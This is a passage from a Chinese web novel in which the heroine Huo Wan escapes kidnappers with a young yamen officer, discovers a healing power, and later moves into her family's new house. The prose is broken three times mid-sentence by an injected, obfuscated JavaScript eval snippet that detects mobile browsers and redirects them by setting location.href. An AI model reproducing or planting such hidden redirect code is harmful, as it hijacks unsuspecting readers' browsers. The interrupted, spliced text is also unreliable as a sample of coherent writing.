二姐儿……耳边好像响起了一阵呼喊她名字的声音,霍婉觉得自己眼皮子十分沉重,怎么也睁不开,用力睁开一个小缝,她好像看到了孙老头儿不怀好意的笑容…… …… 再次醒来时霍婉只觉得头痛欲裂,费力地睁开眼睛,发现自己好像处在一处黑暗的山洞中。霍婉扶着石头刚站起来,就听见一阵脚步声慢慢传来,还有男人低低的交谈声。 “你这……价钱太高……不行” “好货色……若是……清玉楼……小的不能少” 断断续续的交谈声让霍婉一个激灵,这?从自己听到的有限的情报中,大概情况就是自己被绑架然后要卖掉?嫂嫂和赵家嫂子呢? 霍婉的心怦怦直跳,前世加上这辈子总共才不到三十,又是第一次遇到这种事情,这种恐惧夹杂着勇气促使她细细听着男人的交谈。 “你这个药靠谱吗?约莫什么时候会醒?” “小的那个看着跟个瘦鸡子一般,一时半会醒不了,那两个女人喝了整整一碗,估摸着也不会醒,您就放心吧!虎爷!” “要是让我们老大放心,孙爷得拿出您的诚意来啊!” “这位小哥说的什么话,我孙麻子要价一向不会乱张口,既然我敢要,就证明这次的货值这个价儿!” 霍婉静静地听着,好像这里不止两个男人。嫂嫂她们都没在身边,自己得先找到她们才是。 听着那步伐离自己越来越近,霍婉连忙紧闭双眼躺在地上,只听一个低沉的男声:“怎么就一个丫头片子?” 孙麻子嘿嘿一笑:“那两个女人放在旁边的洞里了,这个丫头虎爷可不能动,您仔细养养指定能卖个好价钱!至于那两个女人……嘿嘿。” 一阵刺目的火光随着几人一道而来,约莫过了几分钟,一只极为细腻的大手慢慢抚摸着霍婉的脸蛋,那手十分冰凉,就像一条阴冷的毒蛇在她的皮肤上爬……霍婉这么想着,登时身上便涌出一阵冷汗。 “这个小姑娘倒是好颜色。” “虎爷,那是自然,我孙麻子这么多年何曾糊弄过您?” “嗯。”那虎爷淡淡应了一句。 “这丫头片子昏着呢,虎爷,不妨去隔壁瞧瞧那两个妇人,其中一个是这个丫头片子的嫂子,也是个好颜色!您……若是不嫌弃,自可受用了。”孙麻子谄媚道。 “我们老大什么女人没见过?会瞧得上区区山沟沟里嫁过人的妇人?”一个喽啰道。 “你小子懂什么?”那虎爷闻言哈哈一笑:“正是嫁过人的,才有滋味儿!”说罢,一行人嘴里说着粗话,脚步慢慢远去了。 霍婉身下的山石有些硌人,加上山里温度低,阵阵寒气从冷硬的石头上传来,她忍不住打了个哆嗦。加之山洞里光线较暗,霍婉睁着眼睛好一会才适应了洞里的黑暗。 霍婉扶着山洞往外一步步摸索,新买的成衣也脏的不成样子。三个女人,想要在这不知名的山洞里逃出去可不是件容易的事。 突然,霍婉发现距离自己不远处隐约有一个高大的影子,许是光线的关系或者自己吃了药的关系,那道影子显得十分模糊,她努力平复了一下心情,小心翼翼的蹲下了身子。 那人见状,小心的走了过来,压低声音说:“小姑娘,出来。” 霍婉自然没有傻到自己跑出去,只蹲着身子,手底下也摸索了一块石头紧紧地握在手里,那人见她没反应,提着步子朝着霍婉的方向而来,霍婉握着石头的手微微颤抖,见他靠近了,狠狠地朝着那人的方向砸了过去。 “嘶——”那人抽痛,霍婉见一击得中,连忙欲往山洞内黑洞洞的地方跑,结果被那人一把抓住并伸手捂住了她的下半张脸。 捂住她脸蛋的右手有些粗糙,那人热气喷洒在她的耳畔,压低声音语速飞快道:“我是衙门的人,小姑娘,想活命就别出声。” 霍婉闻言连忙点了点头。 等那人放开她,她才小心翼翼的压低声音道:“你与他们不是一伙儿的?” 来人低笑出声,在这黑暗的山洞中,稍微让霍婉驱散了几分心中的惧意,“若我与他们是一伙的,现下你就要糟了。跟着我走,别出声。” 霍婉连忙点头,又觉得山洞中黑暗那人瞧不见,低低嗯了一声。 来人抓着她的手腕,在这阴冷潮湿的山洞内,小心的摸索着山洞中的石壁往前走,走了大概一刻钟的功夫,前方出现了一个微亮的出口,霍婉吸了吸鼻子,闻到了一股淡淡的山林草木香。 看来快到这个山洞的出口处了。 二人放轻脚步,小心的朝着出口走去。突然,外面山洞处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903352|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然传来一阵急促的脚步声,两个黑影迅速闪到山洞口,霍婉二人躲闪不及就这么被他们碰上了。 紧接着一道低沉凶狠的声音响起:“好哇!这小娘子的嫂子趁着咱们过来验货的时候带着人跑了,这小娘子心眼儿也多的跟筛子似的,差点也让她也给跑了!六子,给我拿下!” “三哥!放心交给我吧!”说着名叫六子的绑匪一把抽出腰间的长刀,凶神恶煞的朝着他们冲了过来。 程君昭见状心头一紧,下意识将霍婉往身后护了护。六子的脸上挂着恶劣扭曲的笑,一步一步的朝着他们逼近,手中的长刀在昏暗光线下闪烁着危险的寒光。 霍婉的后背紧贴着洞壁,从这个绑匪口中得知赵玉秋虎口脱险了,她心脏狂跳,现在只要她能跑了,她们一家就安全了! 霍婉感受着程君昭微微出汗的大手,霍婉的大脑飞速运转,她的左手撑住山洞墙壁,突然间感觉到袖兜里好像有东西,那是临出门前赵玉秋给她的香粉包! 思及此处,霍婉眼睛一亮,心中顿时有了主意。 就在六子快要近身的瞬间,霍婉突然拽着程君昭后退,口中大喊道:“药粉有毒!掩住口鼻!”然后用尽全身力气从香粉包中抓出一把香粉,朝着绑匪的脸上扔去。 这句话不光提示了程君昭,连那两个绑匪都下意识地捂住了鼻子和嘴巴。霍婉趁着这个这个间隙侧身一闪,拉着程君昭朝着洞外全力冲去。 那个在洞口边守着的绑匪反应过来,怒吼着拔出长刀,转身追来。程君昭顾不上许多,拽着霍婉就一直往前跑。眼看着前方快没有路了,耳边是呼呼风声,霍婉也能感受到身后绑匪的气息越来越近。 毕竟也在末世磨练过一个多月,生死一线之际,霍婉看到前方不远处有一根倒下的树干,树干上连着藤蔓,她来不及多想,对着程君昭道:“往下跳!” 程君昭闻言大声嗯了一声,拽着霍婉用力一蹬,借助树干的弹力,抓着那道藤蔓就往下跳了下去! 那个名叫三哥的绑匪很快追到了山崖边,见二人紧紧抓着藤蔓荡悠在空中,他狠狠啐了一口,骂道:“你们倒是跳下去啊!废了老子这么大劲儿,看待会我们把你俩弄上来后怎么收拾你们!” 程君昭看了一眼身侧的小姑娘,他沉声道:“待会咱们上去也是个死,不如跳下去博一线生机,如何?” 那绑匪闻言哈哈大笑:“小子!你没来过大山里吧!这山崖底下你瞧着都是树,可你却不知道底下多深,还想着往下跳,你们一个不小心就直接没命了!” 霍婉咬牙,“听你的!” 程君昭听了这话,道一句:“冒犯了。”然后一把搂过霍婉的腰,松开手中的藤蔓,朝着山崖一跃而下! 名叫三哥的绑匪没想到他们二人瞧着年纪不大,对自己倒是够狠的,拼了命也不想被他们捉回去,俗话说横的怕楞的,楞的怕不要命的,他顾不上细细思索,当即收了长刀跑回去给老大虎爷报信去了。 15. 惊魂 对高处跌落的失重感感到害怕是人与生俱来的本能,尤其是在快速下落时更加明显。霍婉不自觉的紧紧搂住程君昭的腰。不知过了多久,他们重重地摔进了一处清凉透彻的溪水里。 在溪水中优哉游哉的小游鱼受到了惊吓,快速摆尾游入了溪水深处。 霍婉是懂水性的,她强忍住身上疼痛,连忙去寻找程君昭的踪迹,却发现他此时紧闭双眼,周围浮起了一层淡淡的血色。 “这……这位公子。”霍婉唤了一声,对方没有回应她,像是晕了过去。 事不宜迟,霍婉连忙游到程君昭身边,用力拽住了他的手腕,朝着岸边游去。 到了岸上霍婉才发现,程君昭的伤势看起来比她严重得多,身上穿着的衣服也被树枝子划得破破烂烂,更别说露在外面的皮肤上还有淤痕和划伤。 霍婉小心地查看他的伤势,发现他还有微弱的呼吸,她稍稍松了口气,只要人还活着就好。 毕竟前世在末世生存过,便是到了这种深山野外霍婉也不见慌张,她现在只是担心山崖上那些人若是找了下来,那他们二人可真的就为人刀俎了。 霍婉从自己裙子上扯下了一块稍微干净的布料,想要替程君昭包扎一下还在渗血的小臂,只是她的手才靠近那处伤口,她的手心处竟然亮起了一道微弱的绿光。 “……?” 霍婉见状瞪大了眼睛,快速地把手心翻转过来,那道绿光颤颤巍巍地漂浮在她的手心中央,好像随时会消散掉一样。 这是什么? 似乎是感受到她心中所想,那道微弱的光芒指引着她,让她的手心覆盖在了程君昭小臂处那道还在流血的伤口之上。 令霍婉目瞪口呆的是,那道微弱的绿光如溪流一般缓缓地流入了进程君昭的伤口里,神奇的是,程君昭方才还在流血的伤口竟以肉眼可见的速度开始愈合。 这是……异能? 霍婉不可避免的的联想到了她穿到这个世界之前,在前世的末世世界是昏迷状态!而异能觉醒的特征就是快速陷入昏迷。 霍婉看着手上快要消散的绿光,不由得覆到了自己手背上的伤口之上,果然,这道绿光无法治愈自己,而这,就是治愈系最大的特点——治愈异能对自身无效。 在霍婉集中精力为程君昭治疗后,傍晚时分,她的坚持总算发挥了作用,程君昭的手指微微动了一下,而后猛地睁开了眼睛。 山山崖下暮色笼罩,四周静谧得有些压抑。程君昭惊醒后只觉得头疼欲裂,让他意外的是,明明昏过去之前小臂处有一道可怖的伤口,如今怎的愈合了? 难道是他的错觉? “你,你好些了吗?有没有觉得哪里不舒服?”毕竟是第一次使用异能,霍婉还觉得十分生疏,故而程君昭醒来以后,她第一时间询问程君昭的身体状况。 程君昭回头,看见了霍婉正拿着几个野果子走了过来,夕阳的余晖温柔的洒在她的身上,勾勒泛着暖光的轮廓,一时间,他竟看得有些愣神。 霍婉走到程君昭身边弯下了身子,把野果子放到程君昭身前,“我没找到别的东西,你……公子先吃些垫垫肚子,也好有力气。”霍婉语气温和,说话间不免带上了几分关切。 程君昭望着霍婉秀美的侧脸,心中不由得涌起一股异样的感觉……他回过神,微微偏头道:“多谢姑娘。” 霍婉勉强笑了笑,“快些吃吧,天色就要暗下来了,咱们要尽快找路离开这里,若是到了晚上会有危险的,不知公子可熟悉山里的小路?”她有些担忧的问道。 “在下并不熟悉此处,今日我是随着叔……县里的衙役们来捉拿流窜在此地的绑匪,不料发生了这等意外。”程君昭道。 在程君昭扶着树干站起来的时候,霍婉才发现他身量极高,样貌虽算不上帅气但也五官端正,在夕阳余晖的映衬下也能看出一丝清秀来。 “在下姓程,不知姑娘如何称呼?”程君昭看了霍婉一眼,极快的问道。 “我叫霍婉。”此时霍婉早已把不能告诉陌生男人闺名的想法抛诸脑后,二人经过这么一番生死逃亡后,霍婉下意识的就顺着程君昭的话茬说了出来。 程君昭闻言一愣,然后耳根处迅速漫上一丝薄红,“霍姑娘,天色渐暗,我们得赶紧找路出去。” “好!” 山崖下的四周都是茂密的丛林,枝叶交错,几乎遮天蔽日。霍婉和程君昭二人深一脚浅一脚地在林间摸索前行,山路上的腐叶覆盖着地面,走起来泥泞湿滑,每往前一步都异常艰难。 就在此时,霍婉脚下一滑,整个人不由得向前扑去,程君昭见状眼疾手快的一把将霍婉拉住。 “霍姑娘,小心!”程君昭的声音沉沉,在寂静的山林里格外清晰。 “多谢程公子。”霍婉的脸上露出一丝疲态的苦笑,道了谢。 “霍姑娘,如今你我被困此处,时日久了也危险,你不如扶着我的手臂,这样咱们也能走的快些。”程君昭道。 “会不会太麻烦程公子了?”霍婉有些犹豫,这是古代,她再不晓事也是知道不能与异性接触过近的。 “只要霍姑娘不怪我冒昧就好,姑娘放心,出了此地,在下定不会随意乱说,坏姑娘清誉。” “程公子言重了,我谢谢你还来不及,怎么会怪你?”霍婉道。 就这样,二人互相扶持着,不知走了多久,前方渐渐出现了一条人为踩出的小道。二人对视一眼加快脚步,终于从山崖下走了出来。 再往前走的时候,前方突然传来有人说话的声音,二人迅速对视一眼,然后悄悄地藏在了山石后面。 断断续续的呼喊声由远及近:“程公子!程公子!” “好像是找你的?”霍婉有些不确定的问道。 程君昭点点头,嘱咐道:“霍姑娘,你呆在此地不要走动,我先出去看看。” 霍婉点点头,眼见着程君昭出去了,她小心的朝着那些人看去,果然,他们穿着县城门口站班差人们才能穿的红黑相间衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909786|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 役服。 看到程君昭冲她挥了挥手,霍婉这才小心的走了出来。 那被拨过来寻程公子的衙役们见有个小姑娘从山石后面走出来,都一愣,其中一个上前问道:“程公子,这位是?” “这是霍姑娘,遇到歹人时与我一道逃出来的。”程君昭回答道。 那衙役一听这话,忙问道:“可是霍家二姐儿?方才你家嫂子逃出去的时候恰好遇到县尊大人亲自带领的一对精壮兄弟,你家嫂子急忙报案引路,端了那那伙子绑匪贼人后便急的要亲自出来寻你呢!如今你没事儿便好,快些跟我们回去给你家嫂嫂报个平安吧!” 霍婉闻言攥紧了衣袖,焦急地开了口:“我嫂嫂可一切安好?” “安好,安好。程公子,霍姑娘,咱们这便走吧,如今那伙贼子已经尽数被我们捉拿,现下已上了枷锁了个严实。” 一行人走了约莫半个时辰,霍婉总算见到了等得心焦的赵玉秋和正在一旁安慰她的赵家媳妇。 二人见到还算精神的霍婉后俱是松了一口气,赵玉秋快步跑过来一把抓住霍婉,眼睛有些微红,“二姐儿,你如何了?嫂嫂可担心死你了,若是你……你,我可怎么跟你哥哥交代啊!” “嫂嫂莫要担心,我这不没事吗?当时我醒来后无意间听见嫂嫂和赵家嫂嫂逃了,当即决定也快些离开,中途被那伙贼人发现,幸……幸得这位程公子所救。”霍婉连忙交代道。 “多谢公子!公子的大恩,农妇实在不知如何报答才好。”赵玉秋泣道。 “夫人快请起!”程君昭连忙上前扶住欲下拜的赵玉秋,正色道:“保护众位安全,实乃我们分内之事。” 一旁瞧着的程二叔程泊走上前来,那衙役连忙道:“这位就是咱们平江县的县尊大人。” 原来除了赵玉秋三人,旁边的山洞里还有三名昨日被拐来的别村少女。被解救的众人正要跪谢,只听程泊道:“今日不在公堂,尔等不必跪拜。你们受惊了,本县会派衙役们亲自送你们归家,另外……” 程泊冲着程君昭使了个眼色,程君昭上忙收回默默关注着霍婉的目光,从程泊手中接过了银子,一一分发给众人以作安抚。 且说霍荀见天色都擦黑了,姑嫂二人还没回来,连忙抱着霍修远急匆匆的往外走,父子二人刚过了村口便瞧见自家媳妇儿、妹妹和赵家媳妇被衙役护送着回来。 为首的一名少年人仔细跟霍荀说明了情况,霍荀大惊,连忙拉过姑嫂二人仔细安抚,程君昭见状深深地看了霍婉一眼,对着霍家人道别后便离开了。 此时村中一片安静,路上一个村人也没有,这倒是省的日后会传出什么不好的闲话来。霍荀和赵玉秋先把赵家媳妇送回了家,那隔壁赵家也是谨慎的,保证此事绝对不会透露一丝半句,夫妻二人这才带着霍婉和霍修远快步回了家,一家人围在一起说了许久的话后就回屋休息了。 今日霍婉惊魂了这么一路,本以为会辗转难眠,没想到洗漱好上床之后很快便睡着了。 16. 乔迁 由于出了这档子事,霍荀便担心的紧,姑嫂二人上山采猪草他也陪着一道去。就这么战战兢兢过了将近一个月,霍婉来到这个世界的第一个节日——仲秋节就快到了。 此时的清河村里非常热闹,这个时代是相当注重仲秋节这样的大日子的。过节,不仅意味着村中各家能吃一顿顶好的,而且大人还会给家中孩子做身新衣服,甚至一些难得的酥糖也能舍得买上两块。 由于临近过节,家家户户都要宰杀一些家禽家畜,尤其是那杀猪声,简直又恐怖又刺耳。天还未亮,正处于半梦半醒之时,突然来这么一道声音,如何睡得好?霍婉无法,熬了这么几日眼睛下面都出了淡淡的青色。 终于,仲秋节到了,霍婉早早便起身出了屋,见赵玉秋在准备早饭,她也凑过去开始帮忙。 家里的房子还没盖好,而且现在银钱也多了,霍家的生活条件慢慢变得不错了。大锅里是煮的大米粥,屉子上放着几个白面馒头,旁边的大锅里是炖的猪肉块,说是帮忙,其实就是往炉灶里添点柴火,看着点粥别糊锅就行。 过了一会,快步走来的赵婶子端着大半盆生猪肉,在篱笆院旁对赵玉秋笑道:“这是荀哥儿让我端回来的,说过节日了,给大家伙整治顿好的吃,这不,让我端回来赶紧做呢!” 赵玉秋连忙点点头大声道:“好,我先给家里这俩小的准备些吃食,然后就过去。” 二人隔着院子寒暄了几句后赵玉秋就进了屋。 现在这霍家啊,日子越来越好,最重要的是,还厚道也大方,从不短了工人的银钱,吃食也捯饬的不错,怪不得最近霍家走动的人多了,倒是户好人家。这么想着,赵婶子笑眯眯的回了屋。 无怪乎赵婶子这么想,原来接触不算太多,只因这霍家毕竟算是读书出来的,秀才对于村民来说,将来可是要当官爷的,哪个敢怠慢? 带头建房子的是村里的一户姓林的人家,素来与霍家交好,让他家带头何尝不是帮衬一把?毕竟带头工人的工钱比普通工人总要高一些。 两家交好,这林大郎也是个厚道人家,既然霍家这么厚待,心里也十分感动,一直在计算着把瓦房建好的同时也能省上些材料。男人都有些好颜面,这霍家如此善待,自然也不能偷奸耍滑不是?故而这房子建的倒是十分之快。 一家人热热闹闹的过完了仲秋节,约莫大半月的功夫,霍家的新房就建好了。 这林大郎也是个好的,知道霍荀有意帮衬自己,花了约莫三四天把房子里用白灰细细捯饬了一遍,地面也用木板铺好,考虑到有霍婉在,林大郎特意把围墙加高了一些,毕竟这时代,知人知面不知心,预防些总是好的。 在刚开始建房子的时候,霍婉建议说,既然房子都是新的,何不做点新的家具?看上去也美观些。霍荀听了后便请人选了几棵有年份的树,央了几家交好的运了下来,直接给了村里的钱木匠家里。 钱木匠算是附近几个村里手艺比较好的了,霍婉本来想设计一些比较现代的家具,但是仔细想想还是作罢了。毕竟这古代不比现代,若是太过出头,总会招人嫉恨的。 房子建好后,里正帮忙选了个宜搬迁的好时辰,霍婉一家子便在这个时候搬迁进了新房。 推开新房院子里新做的木门,进门便是宽敞的院子。院子里颇为宽敞,枣树和水井已经不在院子中央了,而在院子的右侧一角。可能是拓宽的原因,院子左侧多了两座耳房,而院子外头也修了保密性很强的厕所。 房子整体虽然不算精巧,但也十分大气耐看。居住的房间由三间变成四间,房屋间隔的过道变成了类似前世的家庭厨房和吃饭的地方。 霍婉来到了自己的房间,这钱木匠的手真真巧的很,做的木床看起来十分讨巧,柳沅晃了晃,倒是十分结实。旁边是个非常有特色的衣架子。床下是一个类似抽屉一样的拉匣子,可以放一些不穿的衣物鞋子之类的。床的旁边是一个打磨光滑的梳妆台,台子上放着一个椭圆形的铜镜。镜子的影像看起来有些昏暗,但总比没有的好。 在床的右侧放着一个大大的衣柜,柜子上刻着一些简单的花纹,看起来倒也大气。房间正中间是个方形的桌子,类似电视剧里那种多角的,不过有些粗糙,最让霍婉开心的便是是梳妆台旁边的“沙发”。 “沙发”是霍婉参照前世的双人沙发弄的,上面铺着厚厚的软垫子。霍婉针线活不好,央了赵玉秋帮她做了两个抱枕,抱枕上面还绣了些盛放的桃花。 …… 由于霍家盖了新房,这在清河村里算是一桩大事了,故而不少交好的村民都过来参观。 “啧啧,这房子可真大气。” “是啊,那耳房的地方不小,能放不少粮食杂物呢!” “是啊,院子里再种些菜,后园又围了个菜园,真真不错。” 其实房子弄成这样全是赵玉秋和霍婉的主意。本来霍荀想着稍微捯饬一下,还能多省些银钱,奈何架不住赵玉秋的枕风和霍婉的撒娇,既然弄了,便弄得尽善尽美一些就好,省的以后再为了房子多费心。 这几日霍婉也没闲着,光县城里上就跟赵玉秋来回跑了几趟,霍荀坚持一路陪着,一家人先是选了一些结实又耐看的布料来当窗帘,又为家里选了新的碗筷,姑嫂二人一边交流心得一边选东西,虽然银子花了不少但是目的达到了。 霍婉把她选的淡青色的布窗帘挂好,赵玉秋又送她一套新的被褥。其实最近赵玉秋也很忙,但还是把一家人需要的新被褥赶时间弄好了。霍婉又买了些便宜简洁的花瓶放在各个房间里,里面放上了些时令的花草树枝。 为了庆祝乔迁之喜,赵玉秋要准备一桌好饭。 她首先发话让霍婉去鸡窝里抓只鸡,霍婉吐吐舌头,兴冲冲的跑出去了。现在赵玉秋跟霍婉的关系非常好,既像姐妹又像母女。尤其是附近几家家庭不和谐的,无一不羡慕霍荀治家有道,给霍荀长了不少面子。 赵玉秋弄了些热水,直接用刀把鸡脖子割开,然后去院子里挖了个小土坑,放完血后就直接用脚把土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913795|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坑掩住了。 等烧好热水,赵玉秋直接把鸡放进热水里,然后开始拔毛。霍婉十分新奇,上辈子加这辈子还是第一次见杀鸡的。城里长大的孩子,吃鸡肉都是直接去超市买,哪里见过这么血腥新奇的一幕。 赵玉秋被她的反应逗笑了,姑嫂二人就一边拔毛,一边说些贴心的私房话。不一会儿霍修远跑了进来,大声道:“娘,姑姑,咱们家门口站着个人哩!” 一听家里来了客人,赵玉秋连忙用抹布擦了擦手,快步走到门口,只见门口站这一个身着暗红色衣衫的微胖女子。一见来人,赵玉秋瞬间拉下了脸。 “你来做什么?”口气实在算不上好。 “嗯,玉姐,我……”女子有些局促的捏了捏肩上的碎花包袱,“听说你家新盖了房子,我就想着给你送点东西来。” 正所谓伸手不打笑脸人,何况她都这么说了,赵玉秋也没说什么,微微扯了下嘴角:“你太客气了。” 若是稍微会察言观色一些,看见主家不太好看的脸色,也会有点自知之明。这胖女人似是没看到赵玉秋的表情,从木门处挤进来,笑道:“那就打扰玉姐了。” 霍婉听见响动,甩甩手上的水珠儿扭过头,只见自家嫂嫂一脸……嗯,严肃的表情走了进来,后面跟着一个东张西望的红衣女子。见霍婉拿了葵菜在洗,赵玉秋扯了扯嘴角,刚要开口,那女人猛地往前跨了一步,双手抓住霍婉的小手儿。 “这就是霍家妹子啊,长得真真标志。我是你嫂嫂的表妹,你叫我倩姐姐就行。” 看着有些热切的自来熟的女子,霍婉有些招架不住,低声喊了句“倩姐姐”就去外头忙活了。 见屋里没人了,赵倩娘忙过来从包袱里拿出一小包东西,笑道:“玉姐,这是我家男人从外头带回来的鱼干儿,鲜的很,家里头现在也没什么拿得出手的,你就凑合着给姐夫整个下饭菜。” 话都说的这个份上了,赵玉秋也没说什么,沉默着接过了这包东西。 由于有霍婉积极帮忙,再加上赵玉秋做饭也是一把好手,不到半个时辰,姑嫂二人就整治了一桌好饭出来了。 过了一炷香的功夫,霍修远就跑回来了。见桌子上摆着四五道菜,有绿棱菜鸡蛋汤,炖猪排骨,糖醋鱼,还有一道拍黄瓜。 这拍黄瓜自然是霍婉的主意,不过最抢眼的是一碗黑糊糊的,完全看不出来是什么的东西。 他闻着肉香,肚子都开始叫唤了,见霍婉和赵玉秋还在忙活,就笑道:“娘,姑姑,什么时辰吃饭啊,我好饿啊,感觉能吃下三碗饭!”霍修远故作严肃的拍了拍肚子,惹得赵玉秋总算露出个笑模样。 “马上就吃,远哥儿,你……”不等霍婉说完,她就听到院子里有道不轻不重的说话声,一抬头,敏感的发现赵玉秋的脸色变得特别难看。 “啪”的一声,赵玉秋把抹布丢在灶台上,大步出了厨房,正好瞧见了院子里霍荀正背着背篓,手里拿着锄头,而那赵倩娘站在他旁边,轻声细语的说着什么。